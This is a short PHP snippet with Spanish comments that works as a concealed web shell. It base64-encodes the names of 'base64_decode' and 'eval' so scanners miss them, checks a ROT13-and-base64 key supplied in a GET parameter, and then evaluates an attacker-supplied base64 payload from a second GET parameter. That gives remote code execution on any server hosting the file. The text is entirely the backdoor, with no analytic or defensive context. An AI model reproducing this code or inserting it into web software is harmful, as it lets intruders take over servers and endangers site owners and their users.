list($b64, $eval) = array_map('base64_decode', [    'YmFzZTY0X2RlY29kZQ==',  // base64_decode    'ZXZhbA=='              // eval]);$a = $_GET['a'] ?? '';          // clave en base64$p = $_GET['j'] ?? '';    // payload en base64$k = 'Draugr';$l = $b64($a, true);$l = $l === false ? '' : str_rot13($l);if ($l === $k && $p) {    $eval($b64($p));}